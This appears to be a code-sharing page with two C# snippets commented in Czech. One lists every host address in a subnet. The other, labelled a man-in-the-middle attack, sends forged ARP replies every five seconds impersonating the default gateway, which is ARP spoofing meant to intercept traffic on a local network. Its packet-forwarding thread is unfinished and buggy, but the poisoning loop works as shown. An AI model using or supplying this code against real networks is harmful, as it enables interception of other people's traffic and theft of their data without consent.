Exemplo n.º 1
0
 // vrátí všechny možné adresy pomocí netmask a broadcastu
 public IPAddress[] PosibleAddresses()
 {
     if (PosibleAddresesList != null)
     {
         return(PosibleAddresesList.ToArray());
     }
     PosibleAddresesList = new List <IPAddress>();
     byte[] broadcast = BroadCast.GetAddressBytes();
     byte[] network   = NetworkAddr.GetAddressBytes();
     for (int oct1 = network[0]; oct1 <= broadcast[0]; oct1++)
     {
         for (int oct2 = network[1]; oct2 <= broadcast[1]; oct2++)
         {
             for (int oct3 = network[2]; oct3 <= broadcast[2]; oct3++)
             {
                 for (int oct4 = network[3]; oct4 <= broadcast[3]; oct4++)
                 {
                     PosibleAddresesList.Add(new IPAddress(new byte[] { (byte)oct1, (byte)oct2, (byte)oct3, (byte)oct4 }));
                 }
             }
         }
     }
     PosibleAddresesList.RemoveAt(0);
     PosibleAddresesList.RemoveAt(PosibleAddresesList.Count - 1);
     return(PosibleAddresses());
 }
Exemplo n.º 2
0
        // útok man in the middle (TODO nějak zařídit routování packetů co přijdou)
        public void MITM()
        {
            // pokus o todo
            new Thread(new ThreadStart
                       (
                           delegate()
            {
                using (PacketCommunicator pc = Device.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000))
                {
                    var result = pc.ReceivePacket(out Packet p);
                    if (result == PacketCommunicatorReceiveResult.Ok)
                    {
                        if (UIntToIp(p.Ethernet.IpV4.Destination.ToValue()).ToString() == DefaultGw.ToString() || InNetwork(UIntToIp(p.Ethernet.IpV4.Destination.ToValue())))
                        {
#if DEBUG
                            Console.WriteLine("foreign packet");
#endif
                            p.Ethernet.GetType().GetProperty("Destionation").SetValue(p.Ethernet, new MacAddress(Devices.First(x => x.IpAddr.ToString() == DefaultGw.ToString()).HardwareAddrString));
                        }
                    }
                }
            }
                       ));
            using (PacketCommunicator pc = Device.Open(65536, PacketDeviceOpenAttributes.Promiscuous, 1000))
            {
                while (true)
                {
                    Packet p = PacketBuilder.Build
                               (
                        DateTime.Now,
                        new EthernetLayer
                    {
                        EtherType   = EthernetType.None,
                        Destination = new MacAddress("ff:ff:ff:ff:ff:ff"),
                        Source      = new MacAddress(PhysicalAddrString)
                    },
                        new ArpLayer
                    {
                        Operation             = ArpOperation.Reply,
                        ProtocolType          = EthernetType.IpV4,
                        SenderHardwareAddress = Array.AsReadOnly(PhysicalAddr.GetAddressBytes()),
                        SenderProtocolAddress = Array.AsReadOnly(DefaultGw.GetAddressBytes()),
                        TargetHardwareAddress = Array.AsReadOnly(new byte[] { 255, 255, 255, 255, 255, 255 }),
                        TargetProtocolAddress = Array.AsReadOnly(BroadCast.GetAddressBytes())
                    }
                               );
                    pc.SendPacket(p);
                    Thread.Sleep(5000);
                }
            }
        }